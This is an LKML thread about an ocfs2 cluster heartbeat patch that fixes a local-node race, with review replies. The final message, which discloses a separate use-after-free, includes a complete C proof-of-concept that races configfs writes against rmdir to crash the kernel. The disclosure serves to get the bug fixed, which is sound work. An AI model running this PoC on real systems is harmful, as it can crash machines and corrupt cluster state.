mirror of https://lore.kernel.org/lkml/
 help / color / mirror / Atom feed
* [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
@ 2026-06-14  5:33 Cen Zhang
  2026-06-16  6:33 ` Joseph Qi
  2026-06-21 11:17 ` XIAO WU
  0 siblings, 2 replies; 4+ messages in thread
From: Cen Zhang @ 2026-06-14  5:33 UTC (permalink / raw)
  To: Mark Fasheh, Joel Becker, Joseph Qi
  Cc: ocfs2-devel, linux-kernel, baijiaju1990, Cen Zhang

o2nm_node_local_store() can clear the current local node while a
heartbeat region is still active. That path stops listening and stores
O2NM_INVALID_NODE_NUM, but heartbeat threads keep calling
o2nm_this_node() from o2hb_do_disk_heartbeat() and shutdown.

Once that happens, o2hb_check_own_slot() and o2hb_prepare_block() can
use node 255 as a slot index, and o2nm_undepend_this_node() can BUG_ON()
when the thread exits. The same local=0 path also leaves cl_has_local
set, so later attempts to restore a real local node fail with -EBUSY.

Track the heartbeat start/run/stop window with a per-region active flag
protected by o2hb_live_lock. Set it before kthread_run() can let the
heartbeat thread re-read o2nm_this_node(), and clear it only after
startup cleanup or region teardown has stopped any created thread. Then
reject local=0 while any region remains active, and when the clear is
allowed drop cl_has_local together with cl_local_node so the
nodemanager state matches o2nm_node_group_drop_item().

The buggy scenario involves two paths, with each column showing the
order within that path:

configfs local attribute store		heartbeat thread
1. Userspace writes 0 to the		1. o2hb_thread() keeps calling
   current node's local attribute.	   o2hb_do_disk_heartbeat().
2. o2nm_node_local_store()		2. o2hb_check_own_slot() and
   stops listening and stores		   o2hb_prepare_block() re-read
   O2NM_INVALID_NODE_NUM.		   o2nm_this_node().
3. cl_has_local still stays set,	3. The thread uses node 255 as
   so later o2nm_this_node()		   the local slot index or
   reports node 255.			   shutdown node number.
4. A later local=1 write hits		4. Heartbeat can touch
   -EBUSY.				   reg->hr_slots[255] or BUG_ON()
					   in o2nm_undepend_this_node().

Validation reproduced this kernel report:
KASAN slab-out-of-bounds in o2hb_do_disk_heartbeat+0x372/0xb30
RIP: 0010:memset+0xf/0x20
Read of size 8
Call trace:
  dump_stack_lvl+0x66/0xa0
  print_report+0xd0/0x630
  o2hb_do_disk_heartbeat+0x372/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
  srso_alias_return_thunk+0x5/0xfbef5
  __virt_addr_valid+0x188/0x2f0
  kasan_report+0xe4/0x120
  o2hb_do_disk_heartbeat+0x5/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
  o2hb_thread+0x14e/0x770
  kthread_affine_node+0x139/0x180
  lockdep_hardirqs_on_prepare+0xda/0x190
  trace_hardirqs_on+0x18/0x130
  kthread+0x19d/0x1e0
  ret_from_fork+0x37a/0x4d0
  __switch_to+0x2d5/0x6f0
  ret_from_fork_asm+0x1a/0x30

Fixes: a7f6a5fb4bde ("[PATCH] OCFS2: The Second Oracle Cluster Filesystem")
Assisted-by: Codex:gpt-5.5
Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
---
 fs/ocfs2/cluster/heartbeat.c   | 55 +++++++++++++++++++++++++++++++---
 fs/ocfs2/cluster/heartbeat.h   |  1 +
 fs/ocfs2/cluster/nodemanager.c | 13 ++++----
 fs/ocfs2/cluster/nodemanager.h |  3 ++
 4 files changed, 63 insertions(+), 9 deletions(-)

diff --git a/fs/ocfs2/cluster/heartbeat.c b/fs/ocfs2/cluster/heartbeat.c
index d12784aaaa4b..4c83f680017f 100644
--- a/fs/ocfs2/cluster/heartbeat.c
+++ b/fs/ocfs2/cluster/heartbeat.c
@@ -201,8 +201,9 @@ struct o2hb_region {
 				hr_item_dropped:1,
 				hr_node_deleted:1;
 
-	/* protected by the hr_callback_sem */
+	/* Protected by o2hb_live_lock. */
 	struct task_struct 	*hr_task;
+	bool			hr_heartbeat_active;
 
 	unsigned int		hr_blocks;
 	unsigned long long	hr_start_block;
@@ -1771,8 +1772,9 @@ static int o2hb_populate_slot_data(struct o2hb_region *reg)
 }
 
 /*
- * this is acting as commit; we set up all of hr_bdev_file and hr_task or
- * nothing
+ * This acts as commit.  The active flag covers the start/run/stop window and
+ * startup publishes it before rechecking the local node, so local=0 either
+ * sees heartbeat in progress or forces this path to fail before a thread runs.
  */
 static ssize_t o2hb_region_dev_store(struct config_item *item,
 				     const char *page,
@@ -1874,6 +1876,17 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
 	/* unsteady_iterations is triple the steady_iterations */
 	atomic_set(&reg->hr_unsteady_iterations, (live_threshold * 3));
 
+	o2nm_lock_subsystem();
+	spin_lock(&o2hb_live_lock);
+	reg->hr_heartbeat_active = true;
+	spin_unlock(&o2hb_live_lock);
+	if (o2nm_this_node() == O2NM_MAX_NODES) {
+		o2nm_unlock_subsystem();
+		ret = -EINVAL;
+		goto out;
+	}
+	o2nm_unlock_subsystem();
+
 	hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
 			      reg->hr_item.ci_name);
 	if (IS_ERR(hb_task)) {
@@ -1925,10 +1938,16 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
 		spin_lock(&o2hb_live_lock);
 		hb_task = reg->hr_task;
 		reg->hr_task = NULL;
+		if (!hb_task)
+			reg->hr_heartbeat_active = false;
 		spin_unlock(&o2hb_live_lock);
 
-		if (hb_task)
+		if (hb_task) {
 			kthread_stop(hb_task);
+			spin_lock(&o2hb_live_lock);
+			reg->hr_heartbeat_active = false;
+			spin_unlock(&o2hb_live_lock);
+		}
 
 		o2hb_unmap_slot_data(reg);
 
@@ -2109,6 +2128,11 @@ static void o2hb_heartbeat_group_drop_item(struct config_group *group,
 	if (hb_task)
 		kthread_stop(hb_task);
 
+	spin_lock(&o2hb_live_lock);
+	if (hb_task)
+		reg->hr_heartbeat_active = false;
+	spin_unlock(&o2hb_live_lock);
+
 	if (o2hb_global_heartbeat_active()) {
 		spin_lock(&o2hb_live_lock);
 		clear_bit(reg->hr_region_num, o2hb_region_bitmap);
@@ -2571,6 +2595,29 @@ int o2hb_get_all_regions(char *region_uuids, u8 max_regions)
 }
 EXPORT_SYMBOL_GPL(o2hb_get_all_regions);
 
+/*
+ * The active flag covers the entire start/run/stop window in which a region
+ * may still have a heartbeat thread that can re-read o2nm_this_node().
+ */
+int o2hb_heartbeat_active(void)
+{
+	struct o2hb_region *reg;
+	int active = 0;
+
+	spin_lock(&o2hb_live_lock);
+
+	list_for_each_entry(reg, &o2hb_all_regions, hr_all_item) {
+		if (reg->hr_heartbeat_active) {
+			active = 1;
+			break;
+		}
+	}
+
+	spin_unlock(&o2hb_live_lock);
+
+	return active;
+}
+
 int o2hb_global_heartbeat_active(void)
 {
 	return (o2hb_heartbeat_mode == O2HB_HEARTBEAT_GLOBAL);
diff --git a/fs/ocfs2/cluster/heartbeat.h b/fs/ocfs2/cluster/heartbeat.h
index 8ef8c1b9eeb7..7040dc4b529d 100644
--- a/fs/ocfs2/cluster/heartbeat.h
+++ b/fs/ocfs2/cluster/heartbeat.h
@@ -66,6 +66,7 @@ int o2hb_check_node_heartbeating_no_sem(u8 node_num);
 int o2hb_check_node_heartbeating_from_callback(u8 node_num);
 void o2hb_stop_all_regions(void);
 int o2hb_get_all_regions(char *region_uuids, u8 numregions);
+int o2hb_heartbeat_active(void);
 int o2hb_global_heartbeat_active(void);
 
 #endif /* O2CLUSTER_HEARTBEAT_H */
diff --git a/fs/ocfs2/cluster/nodemanager.c b/fs/ocfs2/cluster/nodemanager.c
index 402563154550..ffe9cb37d9e5 100644
--- a/fs/ocfs2/cluster/nodemanager.c
+++ b/fs/ocfs2/cluster/nodemanager.c
@@ -25,9 +25,6 @@ static const char *o2nm_fence_method_desc[O2NM_FENCE_METHODS] = {
 	"panic",	/* O2NM_FENCE_PANIC */
 };
 
-static inline void o2nm_lock_subsystem(void);
-static inline void o2nm_unlock_subsystem(void);
-
 struct o2nm_node *o2nm_get_node_by_num(u8 node_num)
 {
 	struct o2nm_node *node = NULL;
@@ -366,7 +363,13 @@ static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
 
 	if (!tmp && cluster->cl_has_local &&
 	    cluster->cl_local_node == node->nd_num) {
+		if (o2hb_heartbeat_active()) {
+			ret = -EBUSY;
+			goto out;
+		}
+
 		o2net_stop_listening(node);
+		cluster->cl_has_local = 0;
 		cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
 	}
 
@@ -762,12 +765,12 @@ static struct o2nm_cluster_group o2nm_cluster_group = {
 	},
 };
 
-static inline void o2nm_lock_subsystem(void)
+void o2nm_lock_subsystem(void)
 {
 	mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex);
 }
 
-static inline void o2nm_unlock_subsystem(void)
+void o2nm_unlock_subsystem(void)
 {
 	mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex);
 }
diff --git a/fs/ocfs2/cluster/nodemanager.h b/fs/ocfs2/cluster/nodemanager.h
index 3490e77a952d..96c0abb1f127 100644
--- a/fs/ocfs2/cluster/nodemanager.h
+++ b/fs/ocfs2/cluster/nodemanager.h
@@ -63,6 +63,9 @@ struct o2nm_node *o2nm_get_node_by_ip(__be32 addr);
 void o2nm_node_get(struct o2nm_node *node);
 void o2nm_node_put(struct o2nm_node *node);
 
+void o2nm_lock_subsystem(void);
+void o2nm_unlock_subsystem(void);
+
 int o2nm_depend_item(struct config_item *item);
 void o2nm_undepend_item(struct config_item *item);
 int o2nm_depend_this_node(void);
-- 
2.43.0


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
  2026-06-14  5:33 [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs Cen Zhang
@ 2026-06-16  6:33 ` Joseph Qi
  2026-06-16  7:45   ` Cen Zhang
  2026-06-21 11:17 ` XIAO WU
  1 sibling, 1 reply; 4+ messages in thread
From: Joseph Qi @ 2026-06-16  6:33 UTC (permalink / raw)
  To: Cen Zhang
  Cc: ocfs2-devel, linux-kernel, baijiaju1990, Mark Fasheh,
	Joel Becker, Heming Zhao



On 6/14/26 1:33 PM, Cen Zhang wrote:
> o2nm_node_local_store() can clear the current local node while a
> heartbeat region is still active. That path stops listening and stores
> O2NM_INVALID_NODE_NUM, but heartbeat threads keep calling
> o2nm_this_node() from o2hb_do_disk_heartbeat() and shutdown.
> 

Seems a simple fix for this issue is also clearing cluster->cl_has_local
in the same path?

Thanks,
Joseph

> Once that happens, o2hb_check_own_slot() and o2hb_prepare_block() can
> use node 255 as a slot index, and o2nm_undepend_this_node() can BUG_ON()
> when the thread exits. The same local=0 path also leaves cl_has_local
> set, so later attempts to restore a real local node fail with -EBUSY.
> 
> Track the heartbeat start/run/stop window with a per-region active flag
> protected by o2hb_live_lock. Set it before kthread_run() can let the
> heartbeat thread re-read o2nm_this_node(), and clear it only after
> startup cleanup or region teardown has stopped any created thread. Then
> reject local=0 while any region remains active, and when the clear is
> allowed drop cl_has_local together with cl_local_node so the
> nodemanager state matches o2nm_node_group_drop_item().
> 
> The buggy scenario involves two paths, with each column showing the
> order within that path:
> 
> configfs local attribute store		heartbeat thread
> 1. Userspace writes 0 to the		1. o2hb_thread() keeps calling
>    current node's local attribute.	   o2hb_do_disk_heartbeat().
> 2. o2nm_node_local_store()		2. o2hb_check_own_slot() and
>    stops listening and stores		   o2hb_prepare_block() re-read
>    O2NM_INVALID_NODE_NUM.		   o2nm_this_node().
> 3. cl_has_local still stays set,	3. The thread uses node 255 as
>    so later o2nm_this_node()		   the local slot index or
>    reports node 255.			   shutdown node number.
> 4. A later local=1 write hits		4. Heartbeat can touch
>    -EBUSY.				   reg->hr_slots[255] or BUG_ON()
> 					   in o2nm_undepend_this_node().
> 
> Validation reproduced this kernel report:
> KASAN slab-out-of-bounds in o2hb_do_disk_heartbeat+0x372/0xb30
> RIP: 0010:memset+0xf/0x20
> Read of size 8
> Call trace:
>   dump_stack_lvl+0x66/0xa0
>   print_report+0xd0/0x630
>   o2hb_do_disk_heartbeat+0x372/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
>   srso_alias_return_thunk+0x5/0xfbef5
>   __virt_addr_valid+0x188/0x2f0
>   kasan_report+0xe4/0x120
>   o2hb_do_disk_heartbeat+0x5/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
>   o2hb_thread+0x14e/0x770
>   kthread_affine_node+0x139/0x180
>   lockdep_hardirqs_on_prepare+0xda/0x190
>   trace_hardirqs_on+0x18/0x130
>   kthread+0x19d/0x1e0
>   ret_from_fork+0x37a/0x4d0
>   __switch_to+0x2d5/0x6f0
>   ret_from_fork_asm+0x1a/0x30
> 
> Fixes: a7f6a5fb4bde ("[PATCH] OCFS2: The Second Oracle Cluster Filesystem")
> Assisted-by: Codex:gpt-5.5
> Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
> ---
>  fs/ocfs2/cluster/heartbeat.c   | 55 +++++++++++++++++++++++++++++++---
>  fs/ocfs2/cluster/heartbeat.h   |  1 +
>  fs/ocfs2/cluster/nodemanager.c | 13 ++++----
>  fs/ocfs2/cluster/nodemanager.h |  3 ++
>  4 files changed, 63 insertions(+), 9 deletions(-)
> 
> diff --git a/fs/ocfs2/cluster/heartbeat.c b/fs/ocfs2/cluster/heartbeat.c
> index d12784aaaa4b..4c83f680017f 100644
> --- a/fs/ocfs2/cluster/heartbeat.c
> +++ b/fs/ocfs2/cluster/heartbeat.c
> @@ -201,8 +201,9 @@ struct o2hb_region {
>  				hr_item_dropped:1,
>  				hr_node_deleted:1;
>  
> -	/* protected by the hr_callback_sem */
> +	/* Protected by o2hb_live_lock. */
>  	struct task_struct 	*hr_task;
> +	bool			hr_heartbeat_active;
>  
>  	unsigned int		hr_blocks;
>  	unsigned long long	hr_start_block;
> @@ -1771,8 +1772,9 @@ static int o2hb_populate_slot_data(struct o2hb_region *reg)
>  }
>  
>  /*
> - * this is acting as commit; we set up all of hr_bdev_file and hr_task or
> - * nothing
> + * This acts as commit.  The active flag covers the start/run/stop window and
> + * startup publishes it before rechecking the local node, so local=0 either
> + * sees heartbeat in progress or forces this path to fail before a thread runs.
>   */
>  static ssize_t o2hb_region_dev_store(struct config_item *item,
>  				     const char *page,
> @@ -1874,6 +1876,17 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
>  	/* unsteady_iterations is triple the steady_iterations */
>  	atomic_set(&reg->hr_unsteady_iterations, (live_threshold * 3));
>  
> +	o2nm_lock_subsystem();
> +	spin_lock(&o2hb_live_lock);
> +	reg->hr_heartbeat_active = true;
> +	spin_unlock(&o2hb_live_lock);
> +	if (o2nm_this_node() == O2NM_MAX_NODES) {
> +		o2nm_unlock_subsystem();
> +		ret = -EINVAL;
> +		goto out;
> +	}
> +	o2nm_unlock_subsystem();
> +
>  	hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
>  			      reg->hr_item.ci_name);
>  	if (IS_ERR(hb_task)) {
> @@ -1925,10 +1938,16 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
>  		spin_lock(&o2hb_live_lock);
>  		hb_task = reg->hr_task;
>  		reg->hr_task = NULL;
> +		if (!hb_task)
> +			reg->hr_heartbeat_active = false;
>  		spin_unlock(&o2hb_live_lock);
>  
> -		if (hb_task)
> +		if (hb_task) {
>  			kthread_stop(hb_task);
> +			spin_lock(&o2hb_live_lock);
> +			reg->hr_heartbeat_active = false;
> +			spin_unlock(&o2hb_live_lock);
> +		}
>  
>  		o2hb_unmap_slot_data(reg);
>  
> @@ -2109,6 +2128,11 @@ static void o2hb_heartbeat_group_drop_item(struct config_group *group,
>  	if (hb_task)
>  		kthread_stop(hb_task);
>  
> +	spin_lock(&o2hb_live_lock);
> +	if (hb_task)
> +		reg->hr_heartbeat_active = false;
> +	spin_unlock(&o2hb_live_lock);
> +
>  	if (o2hb_global_heartbeat_active()) {
>  		spin_lock(&o2hb_live_lock);
>  		clear_bit(reg->hr_region_num, o2hb_region_bitmap);
> @@ -2571,6 +2595,29 @@ int o2hb_get_all_regions(char *region_uuids, u8 max_regions)
>  }
>  EXPORT_SYMBOL_GPL(o2hb_get_all_regions);
>  
> +/*
> + * The active flag covers the entire start/run/stop window in which a region
> + * may still have a heartbeat thread that can re-read o2nm_this_node().
> + */
> +int o2hb_heartbeat_active(void)
> +{
> +	struct o2hb_region *reg;
> +	int active = 0;
> +
> +	spin_lock(&o2hb_live_lock);
> +
> +	list_for_each_entry(reg, &o2hb_all_regions, hr_all_item) {
> +		if (reg->hr_heartbeat_active) {
> +			active = 1;
> +			break;
> +		}
> +	}
> +
> +	spin_unlock(&o2hb_live_lock);
> +
> +	return active;
> +}
> +
>  int o2hb_global_heartbeat_active(void)
>  {
>  	return (o2hb_heartbeat_mode == O2HB_HEARTBEAT_GLOBAL);
> diff --git a/fs/ocfs2/cluster/heartbeat.h b/fs/ocfs2/cluster/heartbeat.h
> index 8ef8c1b9eeb7..7040dc4b529d 100644
> --- a/fs/ocfs2/cluster/heartbeat.h
> +++ b/fs/ocfs2/cluster/heartbeat.h
> @@ -66,6 +66,7 @@ int o2hb_check_node_heartbeating_no_sem(u8 node_num);
>  int o2hb_check_node_heartbeating_from_callback(u8 node_num);
>  void o2hb_stop_all_regions(void);
>  int o2hb_get_all_regions(char *region_uuids, u8 numregions);
> +int o2hb_heartbeat_active(void);
>  int o2hb_global_heartbeat_active(void);
>  
>  #endif /* O2CLUSTER_HEARTBEAT_H */
> diff --git a/fs/ocfs2/cluster/nodemanager.c b/fs/ocfs2/cluster/nodemanager.c
> index 402563154550..ffe9cb37d9e5 100644
> --- a/fs/ocfs2/cluster/nodemanager.c
> +++ b/fs/ocfs2/cluster/nodemanager.c
> @@ -25,9 +25,6 @@ static const char *o2nm_fence_method_desc[O2NM_FENCE_METHODS] = {
>  	"panic",	/* O2NM_FENCE_PANIC */
>  };
>  
> -static inline void o2nm_lock_subsystem(void);
> -static inline void o2nm_unlock_subsystem(void);
> -
>  struct o2nm_node *o2nm_get_node_by_num(u8 node_num)
>  {
>  	struct o2nm_node *node = NULL;
> @@ -366,7 +363,13 @@ static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
>  
>  	if (!tmp && cluster->cl_has_local &&
>  	    cluster->cl_local_node == node->nd_num) {
> +		if (o2hb_heartbeat_active()) {
> +			ret = -EBUSY;
> +			goto out;
> +		}
> +
>  		o2net_stop_listening(node);
> +		cluster->cl_has_local = 0;
>  		cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
>  	}
>  
> @@ -762,12 +765,12 @@ static struct o2nm_cluster_group o2nm_cluster_group = {
>  	},
>  };
>  
> -static inline void o2nm_lock_subsystem(void)
> +void o2nm_lock_subsystem(void)
>  {
>  	mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex);
>  }
>  
> -static inline void o2nm_unlock_subsystem(void)
> +void o2nm_unlock_subsystem(void)
>  {
>  	mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex);
>  }
> diff --git a/fs/ocfs2/cluster/nodemanager.h b/fs/ocfs2/cluster/nodemanager.h
> index 3490e77a952d..96c0abb1f127 100644
> --- a/fs/ocfs2/cluster/nodemanager.h
> +++ b/fs/ocfs2/cluster/nodemanager.h
> @@ -63,6 +63,9 @@ struct o2nm_node *o2nm_get_node_by_ip(__be32 addr);
>  void o2nm_node_get(struct o2nm_node *node);
>  void o2nm_node_put(struct o2nm_node *node);
>  
> +void o2nm_lock_subsystem(void);
> +void o2nm_unlock_subsystem(void);
> +
>  int o2nm_depend_item(struct config_item *item);
>  void o2nm_undepend_item(struct config_item *item);
>  int o2nm_depend_this_node(void);


^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
  2026-06-16  6:33 ` Joseph Qi
@ 2026-06-16  7:45   ` Cen Zhang
  0 siblings, 0 replies; 4+ messages in thread
From: Cen Zhang @ 2026-06-16  7:45 UTC (permalink / raw)
  To: Joseph Qi
  Cc: ocfs2-devel, linux-kernel, baijiaju1990, Mark Fasheh,
	Joel Becker, Heming Zhao

Hi Joseph,

> Seems a simple fix for this issue is also clearing cluster->cl_has_local
> in the same path?

Thanks for your review.

Yes, clearing cluster->cl_has_local in that path is needed. I updated the
patch to do that.

While checking this path again, I found that clearing cl_has_local alone
does not cover the running heartbeat thread case. After local=0,
o2nm_this_node() still returns O2NM_MAX_NODES, which has the same value as
O2NM_INVALID_NODE_NUM, and the heartbeat thread can still use that value
for hr_slots[] or for the final node undepend path.

So in v2 I kept the local node number stable in the heartbeat region once
the region starts, used that stored node for heartbeat I/O and teardown,
and also cleared cl_has_local in o2nm_node_local_store() as you suggested.

I will send v2 shortly.

Best regards,
Cen Zhang

^ permalink raw reply	[flat|nested] 4+ messages in thread

* Re: [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
  2026-06-14  5:33 [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs Cen Zhang
  2026-06-16  6:33 ` Joseph Qi
@ 2026-06-21 11:17 ` XIAO WU
  1 sibling, 0 replies; 4+ messages in thread
From: XIAO WU @ 2026-06-21 11:17 UTC (permalink / raw)
  To: Cen Zhang, Mark Fasheh, Joel Becker, Joseph Qi
  Cc: ocfs2-devel, linux-kernel, baijiaju1990

Hi Cen,

I saw the discussion with Joseph about the v2 fixes.  Before v2 goes out,
I wanted to flag a pre-existing race condition that a Sashiko AI code
review [1] found in the same function.

The `o2hb_region_dev_store()` error path can race with
`o2hb_heartbeat_group_drop_item()` (triggered by rmdir) because configfs
allows concurrent store() and drop_item().  If drop_item() tears down the
region while dev_store is in its error path, the subsequent
`fput(reg->hr_bdev_file)` hits a use-after-free.

I was able to reproduce this in QEMU with KASAN by forking multiple
children to race dev_store writes against rmdir on the same heartbeat
region.

On Sun, Jun 14, 2026 at 01:33:45PM +0800, Cen Zhang wrote:
 > Track the heartbeat start/run/stop window with a per-region active
 > flag protected by o2hb_live_lock. This prevents o2nm_node_local_store()
 > from clearing the local node while heartbeat threads are still active.

The `hr_heartbeat_active` flag protects against the node clear race,
but the error path in `dev_store` can still race with `drop_item()`
via configfs concurrency:

```c
// dev_store() error path after configfs has accepted the write:
// at this point, drop_item() can run in parallel via rmdir
fput(reg->hr_bdev_file);  // UAF if drop_item() already freed it
```

[KASAN report — kernel 7.1.0-rc7-next-20260612, CONFIG_KASAN=y]

   BUG: KASAN: null-ptr-deref in fput+0x33/0x100
   BUG: kernel NULL pointer dereference, address: 0000000000000158
   Oops: Oops: 0002 [#1] SMP KASAN NOPTI

   Call Trace:
    <TASK>
    fput+0x33/0x100
    o2hb_region_dev_store+0x1327/0x1da0
    configfs_write_iter+0x.../...
    vfs_write+0x.../...
    ksys_write+0x.../...
    do_syscall_64+0xcd/0xf80
    entry_SYSCALL_64_after_hwframe+0x77/0x7f

The crash is `fput()` on a region that was already freed by a concurrent
`drop_item()`.  The `dev_store` error path calls `fput(reg->hr_bdev_file)`,
but `drop_item()` already tore down the region via rmdir — the NULL deref
is the symptom of the use-after-free.

Full PoC source (poc.c):
---8<----------------------------------------------------------------
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <stdlib.h>

#define CFG "/sys/kernel/config/cluster/poccluster"

int main(void)
{
     char p[256], loopdev[64] = "/dev/loop0";
     printf("[*] OCFS2 heartbeat PoC\n");

     system("dd if=/dev/zero of=/tmp/hb.img bs=1M count=30 2>/dev/null");
     system("losetup -f /tmp/hb.img 2>/dev/null");
     FILE *fp = popen("losetup -j /tmp/hb.img -O NAME "
                      "--noheadings 2>/dev/null", "r");
     if (fp && fgets(loopdev, sizeof(loopdev), fp))
         loopdev[strcspn(loopdev, "\n")] = 0;
     if (fp) pclose(fp);

     snprintf(p, sizeof(p), CFG); mkdir(p, 0755);
     snprintf(p, sizeof(p), CFG "/node/mynode"); mkdir(p, 0755);
     int fd = open(CFG "/node/mynode/ipv4_address", O_WRONLY);
     if (fd >= 0) { write(fd, "127.0.0.1", 9); close(fd); }
     fd = open(CFG "/node/mynode/ipv4_port", O_WRONLY);
     if (fd >= 0) { write(fd, "7777", 4); close(fd); }
     fd = open(CFG "/node/mynode/num", O_WRONLY);
     if (fd >= 0) { write(fd, "0", 1); close(fd); }
     fd = open(CFG "/node/mynode/local", O_WRONLY);
     if (fd >= 0) { write(fd, "1", 1); close(fd); }

     for (int i = 0; i < 100; i++) {
         snprintf(p, sizeof(p), CFG "/heartbeat/reg");
         if (mkdir(p, 0755) < 0) { rmdir(p); usleep(1000); continue; }

         fd = open(CFG "/heartbeat/reg/block_bytes", O_WRONLY);
         if (fd >= 0) { write(fd, "512", 3); close(fd); }
         fd = open(CFG "/heartbeat/reg/start_block", O_WRONLY);
         if (fd >= 0) { write(fd, "1", 1); close(fd); }
         fd = open(CFG "/heartbeat/reg/blocks", O_WRONLY);
         if (fd >= 0) { write(fd, "4", 1); close(fd); }

         int loop_fd = open(loopdev, O_RDWR);
         if (loop_fd < 0) { usleep(1000); continue; }

         pid_t pids[7];
         for (int j = 0; j < 7; j++) {
             pids[j] = fork();
             if (pids[j] == 0) {
                 if (j < 4) {
                     /* dev_store writers */
                     usleep(j * 20);
                     char fdstr[16];
                     snprintf(fdstr, sizeof(fdstr), "%d", loop_fd);
                     snprintf(p, sizeof(p), CFG "/heartbeat/reg/dev");
                     int dev_fd = open(p, O_WRONLY);
                     if (dev_fd >= 0) {
                         write(dev_fd, fdstr, strlen(fdstr));
                         close(dev_fd);
                     }
                 } else {
                     /* rmdir — triggers drop_item() */
                     usleep(j * 30);
                     snprintf(p, sizeof(p), CFG "/heartbeat/reg");
                     rmdir(p);
                 }
                 _exit(0);
             }
         }
         close(loop_fd);
         for (int j = 0; j < 7; j++) { int st; waitpid(pids[j], &st, 0); }
         snprintf(p, sizeof(p), CFG "/heartbeat/reg"); rmdir(p);
     }
     printf("[*] Done. Check dmesg.\n");
     return 0;
}
---8<----------------------------------------------------------------
Compile: gcc -o poc poc.c

[1] 
https://sashiko.dev/#/patchset/20260614053345.64053-1-zzzccc427%40gmail.com
     (Sashiko AI code review — "Use-After-Free", Severity: Critical)

Thanks,
XIAO



^ permalink raw reply	[flat|nested] 4+ messages in thread

end of thread, other threads:[~2026-06-21 11:17 UTC | newest]

Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-06-14  5:33 [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs Cen Zhang
2026-06-16  6:33 ` Joseph Qi
2026-06-16  7:45   ` Cen Zhang
2026-06-21 11:17 ` XIAO WU

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox

all inboxes | Powered by JetHome®